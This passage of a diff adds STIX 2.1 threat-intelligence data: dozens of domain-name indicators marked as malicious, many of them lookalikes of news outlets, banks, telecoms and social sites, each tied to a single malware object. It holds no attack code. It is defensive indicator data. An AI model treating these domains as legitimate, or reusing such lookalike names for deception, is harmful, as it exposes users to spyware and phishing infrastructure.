"2023-07-28T12:14:36.236525Z", + "modified": "2023-07-28T12:14:36.236525Z", + "relationship_type": "indicates", + "source_ref": "indicator--f77b3f78-ef51-425a-a541-d02d4f00160d", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4ba270c4-c7d4-446f-9de9-c778a3b11264", + "created": "2023-07-28T12:14:36.236598Z", + "modified": "2023-07-28T12:14:36.236598Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tiny.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.236598Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7d931ce6-d5f8-4d6b-ac58-a9d4e4cc1ce6", + "created": "2023-07-28T12:14:36.236819Z", + "modified": "2023-07-28T12:14:36.236819Z", + "relationship_type": "indicates", + "source_ref": "indicator--4ba270c4-c7d4-446f-9de9-c778a3b11264", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f94f5c85-ecbd-4df4-b62a-09fdac03a8b8", + "created": "2023-07-28T12:14:36.23689Z", + "modified": "2023-07-28T12:14:36.23689Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='apps-ios.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.23689Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6f6b3642-8666-4e23-a5fc-f5af71ee07e5", + "created": "2023-07-28T12:14:36.237111Z", + "modified": "2023-07-28T12:14:36.237111Z", + "relationship_type": "indicates", + "source_ref": "indicator--f94f5c85-ecbd-4df4-b62a-09fdac03a8b8", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--746ec06d-e63a-4304-a099-dbabfd5e7b9b", + "created": "2023-07-28T12:14:36.237182Z", + "modified": "2023-07-28T12:14:36.237182Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sports-mdg.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.237182Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--42e27007-d22c-4d4e-87bd-61e9e644f36e", + "created": "2023-07-28T12:14:36.237402Z", + "modified": "2023-07-28T12:14:36.237402Z", + "relationship_type": "indicates", + "source_ref": "indicator--746ec06d-e63a-4304-a099-dbabfd5e7b9b", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--80589ecc-8a1d-42ee-89af-f62840d49733", + "created": "2023-07-28T12:14:36.237473Z", + "modified": "2023-07-28T12:14:36.237473Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='etisalategypt.tech']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.237473Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ae6aae32-54b8-4a0c-bf14-77da49301e01", + "created": "2023-07-28T12:14:36.237697Z", + "modified": "2023-07-28T12:14:36.237697Z", + "relationship_type": "indicates", + "source_ref": "indicator--80589ecc-8a1d-42ee-89af-f62840d49733", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3e1b07a0-0367-42f0-8376-67e29537315b", + "created": "2023-07-28T12:14:36.237768Z", + "modified": "2023-07-28T12:14:36.237768Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kathimerini.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.237768Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a96a642b-3358-4b55-aa26-b517011dd9e9", + "created": "2023-07-28T12:14:36.23803Z", + "modified": "2023-07-28T12:14:36.23803Z", + "relationship_type": "indicates", + "source_ref": "indicator--3e1b07a0-0367-42f0-8376-67e29537315b", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--83479404-c7ab-4cc7-b627-800385eeeeb4", + "created": "2023-07-28T12:14:36.238134Z", + "modified": "2023-07-28T12:14:36.238134Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='itter.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.238134Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--94d13936-d493-4c3b-8574-b01d23631596", + "created": "2023-07-28T12:14:36.238388Z", + "modified": "2023-07-28T12:14:36.238388Z", + "relationship_type": "indicates", + "source_ref": "indicator--83479404-c7ab-4cc7-b627-800385eeeeb4", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--46139128-74d7-4efc-b88d-c641d08c5faf", + "created": "2023-07-28T12:14:36.238467Z", + "modified": "2023-07-28T12:14:36.238467Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='weathear.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.238467Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--76766783-b1ea-4494-af94-7ec1fd699771", + "created": "2023-07-28T12:14:36.238778Z", + "modified": "2023-07-28T12:14:36.238778Z", + "relationship_type": "indicates", + "source_ref": "indicator--46139128-74d7-4efc-b88d-c641d08c5faf", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4f9d0d38-72da-4aad-8f0c-30f19c3ebadb", + "created": "2023-07-28T12:14:36.238855Z", + "modified": "2023-07-28T12:14:36.238855Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='goldenscent.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.238855Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dd4a7857-2a87-4fff-a0b7-21bfd5b998b1", + "created": "2023-07-28T12:14:36.239083Z", + "modified": "2023-07-28T12:14:36.239083Z", + "relationship_type": "indicates", + "source_ref": "indicator--4f9d0d38-72da-4aad-8f0c-30f19c3ebadb", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b76720a1-b930-46f5-9eb4-e3c009335e53", + "created": "2023-07-28T12:14:36.239156Z", + "modified": "2023-07-28T12:14:36.239156Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='svetovid.bid']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.239156Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c46a3125-a94f-4e0e-ab9e-481e4343913c", + "created": "2023-07-28T12:14:36.239384Z", + "modified": "2023-07-28T12:14:36.239384Z", + "relationship_type": "indicates", + "source_ref": "indicator--b76720a1-b930-46f5-9eb4-e3c009335e53", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c8beb320-079b-48cf-a29a-b2a3a1532519", + "created": "2023-07-28T12:14:36.239462Z", + "modified": "2023-07-28T12:14:36.239462Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bank-alahly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.239462Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6d5cc38f-bed0-4130-bc49-6bf40ffe3fc5", + "created": "2023-07-28T12:14:36.239765Z", + "modified": "2023-07-28T12:14:36.239765Z", + "relationship_type": "indicates", + "source_ref": "indicator--c8beb320-079b-48cf-a29a-b2a3a1532519", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7ec82077-90cd-4ce0-b27d-afece0467eac", + "created": "2023-07-28T12:14:36.239841Z", + "modified": "2023-07-28T12:14:36.239841Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trecv.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.239841Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2bf05b62-05a4-48c4-a7cb-4433772783fb", + "created": "2023-07-28T12:14:36.240068Z", + "modified": "2023-07-28T12:14:36.240068Z", + "relationship_type": "indicates", + "source_ref": "indicator--7ec82077-90cd-4ce0-b27d-afece0467eac", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--efe943b0-6bb1-41b8-a527-9dd2ca4369a7", + "created": "2023-07-28T12:14:36.24014Z", + "modified": "2023-07-28T12:14:36.24014Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pocopoc.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.24014Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--128b1f84-b436-4d17-98fe-22c0893eb8dd", + "created": "2023-07-28T12:14:36.240367Z", + "modified": "2023-07-28T12:14:36.240367Z", + "relationship_type": "indicates", + "source_ref": "indicator--efe943b0-6bb1-41b8-a527-9dd2ca4369a7", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7c27d468-77a9-4458-9a32-907a099f5ce8", + "created": "2023-07-28T12:14:36.240438Z", + "modified": "2023-07-28T12:14:36.240438Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='solargoup.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.240438Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3bd61a32-443e-4560-bb6e-c7396febae00", + "created": "2023-07-28T12:14:36.240666Z", + "modified": "2023-07-28T12:14:36.240666Z", + "relationship_type": "indicates", + "source_ref": "indicator--7c27d468-77a9-4458-9a32-907a099f5ce8", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cbad4b3d-04cd-4af5-aa54-8384c1c7ce8b", + "created": "2023-07-28T12:14:36.240738Z", + "modified": "2023-07-28T12:14:36.240738Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='suzuki.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.240738Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cb88c26b-bf03-4026-b6b1-851cc42f7ab0", + "created": "2023-07-28T12:14:36.240963Z", + "modified": "2023-07-28T12:14:36.240963Z", + "relationship_type": "indicates", + "source_ref": "indicator--cbad4b3d-04cd-4af5-aa54-8384c1c7ce8b", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ab6266c4-98b8-4b5c-a5db-4c282ac10a74", + "created": "2023-07-28T12:14:36.241035Z", + "modified": "2023-07-28T12:14:36.241035Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='iosmnbg.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.241035Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ef60d79c-4fd9-4ea9-b4fe-d725fe901ffb", + "created": "2023-07-28T12:14:36.241259Z", + "modified": "2023-07-28T12:14:36.241259Z", + "relationship_type": "indicates", + "source_ref": "indicator--ab6266c4-98b8-4b5c-a5db-4c282ac10a74", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--61c1e2e3-93d5-4efc-a4ac-4712b155d5ab", + "created": "2023-07-28T12:14:36.241333Z", + "modified": "2023-07-28T12:14:36.241333Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='updatingnews.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.241333Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8077f5c7-fe02-4f60-8b0c-bf56717fb722", + "created": "2023-07-28T12:14:36.241629Z", + "modified": "2023-07-28T12:14:36.241629Z", + "relationship_type": "indicates", + "source_ref": "indicator--61c1e2e3-93d5-4efc-a4ac-4712b155d5ab", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--22484801-c08e-4af2-b45d-d2dca746ed37", + "created": "2023-07-28T12:14:36.241702Z", + "modified": "2023-07-28T12:14:36.241702Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='efsyn.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.241702Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--de866d7f-a672-4f04-882e-f7cc8259e80c", + "created": "2023-07-28T12:14:36.241927Z", + "modified": "2023-07-28T12:14:36.241927Z", + "relationship_type": "indicates", + "source_ref": "indicator--22484801-c08e-4af2-b45d-d2dca746ed37", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--de7854bf-a297-40a3-8e3f-08a09d53c5b6", + "created": "2023-07-28T12:14:36.242002Z", + "modified": "2023-07-28T12:14:36.242002Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='paok-24.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.242002Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a1c4ef06-ecc8-4364-a4bc-27b112decf98", + "created": "2023-07-28T12:14:36.242223Z", + "modified": "2023-07-28T12:14:36.242223Z", + "relationship_type": "indicates", + "source_ref": "indicator--de7854bf-a297-40a3-8e3f-08a09d53c5b6", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3ccdfced-6909-41d2-a1ad-4b4b48e25b1f", + "created": "2023-07-28T12:14:36.242294Z", + "modified": "2023-07-28T12:14:36.242294Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='z2a.digital']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.242294Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--22fefea5-8d01-4f6a-b4ab-7dcaa7975e0c", + "created": "2023-07-28T12:14:36.242514Z", + "modified": "2023-07-28T12:14:36.242514Z", + "relationship_type": "indicates", + "source_ref": "indicator--3ccdfced-6909-41d2-a1ad-4b4b48e25b1f", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--adb3a955-7428-4418-aca1-d723fffd1687", + "created": "2023-07-28T12:14:36.242584Z", + "modified": "2023-07-28T12:14:36.242584Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='static-graph.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.242584Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--38e73cff-11fb-4bce-9c9a-5e776a8982ec", + "created": "2023-07-28T12:14:36.242807Z", + "modified": "2023-07-28T12:14:36.242807Z", + "relationship_type": "indicates", + "source_ref": "indicator--adb3a955-7428-4418-aca1-d723fffd1687", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a0295195-5fad-47b5-93e4-0c2905cc790a", + "created": "2023-07-28T12:14:36.242879Z", + "modified": "2023-07-28T12:14:36.242879Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='guardian-tt.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.242879Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--81512fd2-64c9-4eaf-9dd0-b99caadb5fc7", + "created": "2023-07-28T12:14:36.2431Z", + "modified": "2023-07-28T12:14:36.2431Z", + "relationship_type": "indicates", + "source_ref": "indicator--a0295195-5fad-47b5-93e4-0c2905cc790a", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a3112048-a241-4fb6-bf12-8b01e1fd3d89", + "created": "2023-07-28T12:14:36.243171Z", + "modified": "2023-07-28T12:14:36.243171Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='espressonews.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.243171Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e3f94465-9857-4136-b1d2-3998f092ab8b", + "created": "2023-07-28T12:14:36.243396Z", + "modified": "2023-07-28T12:14:36.243396Z", + "relationship_type": "indicates", + "source_ref": "indicator--a3112048-a241-4fb6-bf12-8b01e1fd3d89", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--22a90373-4da6-418c-9362-29612c7444c4", + "created": "2023-07-28T12:14:36.243468Z", + "modified": "2023-07-28T12:14:36.243468Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='md-news-direct.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.243468Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b265213a-96ba-4fbd-aa58-6705d4d9a5d2", + "created": "2023-07-28T12:14:36.243692Z", + "modified": "2023-07-28T12:14:36.243692Z", + "relationship_type": "indicates", + "source_ref": "indicator--22a90373-4da6-418c-9362-29612c7444c4", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dd49492f-6387-48f7-8cdd-ea600e670d8f", + "created": "2023-07-28T12:14:36.243763Z", + "modified": "2023-07-28T12:14:36.243763Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='niceonesa.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.243763Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5f80c9df-0bf9-43c3-9d5c-c2476555ad5b", + "created": "2023-07-28T12:14:36.243992Z", + "modified": "2023-07-28T12:14:36.243992Z", + "relationship_type": "indicates", + "source_ref": "indicator--dd49492f-6387-48f7-8cdd-ea600e670d8f", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8e46cd1b-1b3d-4cfa-a763-b00372bbce34", + "created": "2023-07-28T12:14:36.244067Z", + "modified": "2023-07-28T12:14:36.244067Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='syncupdate.site']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.244067Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--025bc38c-7929-4072-8b39-95098e538085", + "created": "2023-07-28T12:14:36.244295Z", + "modified": "2023-07-28T12:14:36.244295Z", + "relationship_type": "indicates", + "source_ref": "indicator--8e46cd1b-1b3d-4cfa-a763-b00372bbce34", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--09297e64-1541-43dc-af2c-a13d77a01643", + "created": "2023-07-28T12:14:36.244366Z", + "modified": "2023-07-28T12:14:36.244366Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='instegram.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.244366Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7c4abc46-3fcb-42df-b216-244ac71fa98d", + "created": "2023-07-28T12:14:36.244652Z", + "modified": "2023-07-28T12:14:36.244652Z", + "relationship_type": "indicates", + "source_ref": "indicator--09297e64-1541-43dc-af2c-a13d77a01643", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--814ae9cc-42f1-4a38-9a42-e1c355221a72", + "created": "2023-07-28T12:14:36.244724Z", + "modified": "2023-07-28T12:14:36.244724Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ereportaz.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.244724Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4ac81591-8a7f-4c9e-9677-c140058551e4", + "created": "2023-07-28T12:14:36.244957Z", + "modified": "2023-07-28T12:14:36.244957Z", + "relationship_type": "indicates", + "source_ref": "indicator--814ae9cc-42f1-4a38-9a42-e1c355221a72", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--74ac2820-9e97-49d6-ac80-52f464a3364b", + "created": "2023-07-28T12:14:36.245028Z", + "modified": "2023-07-28T12:14:36.245028Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='linkit.cloud']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.245028Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e75ef0a7-d630-462f-af40-246c9e6d614f", + "created": "2023-07-28T12:14:36.245253Z", + "modified": "2023-07-28T12:14:36.245253Z", + "relationship_type": "indicates", + "source_ref": "indicator--74ac2820-9e97-49d6-ac80-52f464a3364b", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d13aa8fb-a544-4961-bff8-ba2bf0793218", + "created": "2023-07-28T12:14:36.245323Z", + "modified": "2023-07-28T12:14:36.245323Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='emvolio-gov.gr']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.245323Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4ba34102-18b9-4886-9d76-685972f47ba3", + "created": "2023-07-28T12:14:36.245542Z", + "modified": "2023-07-28T12:14:36.245542Z", + "relationship_type": "indicates", + "source_ref": "indicator--d13aa8fb-a544-4961-bff8-ba2bf0793218", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--001f40e9-1c6a-42b2-8c81-daac23a6367c", + "created": "2023-07-28T12:14:36.245613Z", + "modified": "2023-07-28T12:14:36.245613Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='newsbeast.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.245613Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d8fbd76e-153c-4b5c-9949-e1879dab04a8", + "created": "2023-07-28T12:14:36.24584Z", + "modified": "2023-07-28T12:14:36.24584Z", + "relationship_type": "indicates", + "source_ref": "indicator--001f40e9-1c6a-42b2-8c81-daac23a6367c", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ae1a9ceb-2624-439c-938d-96c8894dae36", + "created": "2023-07-28T12:14:36.245912Z", + "modified": "2023-07-28T12:14:36.245912Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='myutbe.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.245912Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3f40587e-287d-4cb3-91d3-f173f4c62321", + "created": "2023-07-28T12:14:36.246132Z", + "modified": "2023-07-28T12:14:36.246132Z", + "relationship_type": "indicates", + "source_ref": "indicator--ae1a9ceb-2624-439c-938d-96c8894dae36", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5fd4bbb5-88bb-4536-9ede-c965a56cd15f", + "created": "2023-07-28T12:14:36.246204Z", + "modified": "2023-07-28T12:14:36.246204Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='etisalatgreen.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.246204Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2ea9bbde-1909-4f5c-ac1e-3ac6d6d7f1c3", + "created": "2023-07-28T12:14:36.246426Z", + "modified": "2023-07-28T12:14:36.246426Z", + "relationship_type": "indicates", + "source_ref": "indicator--5fd4bbb5-88bb-4536-9ede-c965a56cd15f", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6f0f7a65-a1b2-41f9-81ad-5cd95c34ffe1", + "created": "2023-07-28T12:14:36.246497Z", + "modified": "2023-07-28T12:14:36.246497Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='koora-egypt.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.246497Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7a4029d5-cf65-4a38-a836-e0ce36f415f7", + "created": "2023-07-28T12:14:36.246718Z", + "modified": "2023-07-28T12:14:36.246718Z", + "relationship_type": "indicates", + "source_ref": "indicator--6f0f7a65-a1b2-41f9-81ad-5cd95c34ffe1", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--862dd150-8d8a-4f7d-a1b8-0f4503cbc522", + "created": "2023-07-28T12:14:36.246792Z", + "modified": "2023-07-28T12:14:36.246792Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='utube.digital']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.246792Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6eeae738-127b-4d43-8117-b1d27c17c848", + "created": "2023-07-28T12:14:36.247014Z", + "modified": "2023-07-28T12:14:36.247014Z", + "relationship_type": "indicates", + "source_ref": "indicator--862dd150-8d8a-4f7d-a1b8-0f4503cbc522", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a65788e1-eea5-4153-ade9-5621443d1d3c", + "created": "2023-07-28T12:14:36.247089Z", + "modified": "2023-07-28T12:14:36.247089Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='redirecting.page']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.247089Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--facb31d1-13fb-4803-abc8-10d8c6647d0f", + "created": "2023-07-28T12:14:36.247409Z", + "modified": "2023-07-28T12:14:36.247409Z", + "relationship_type": "indicates", + "source_ref": "indicator--a65788e1-eea5-4153-ade9-5621443d1d3c", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--29bd2b6c-b518-4687-b145-6a736dee986e", + "created": "2023-07-28T12:14:36.247483Z", + "modified": "2023-07-28T12:14:36.247483Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bit-li.ws']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.247483Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8a7d05bb-036c-497d-8944-035f57935a1a", + "created": "2023-07-28T12:14:36.247703Z", + "modified": "2023-07-28T12:14:36.247703Z", + "relationship_type": "indicates", + "source_ref": "indicator--29bd2b6c-b518-4687-b145-6a736dee986e", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dc6ad9ff-a03e-49be-9e82-5a1199b2d894", + "created": "2023-07-28T12:14:36.247776Z", + "modified": "2023-07-28T12:14:36.247776Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tly.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": 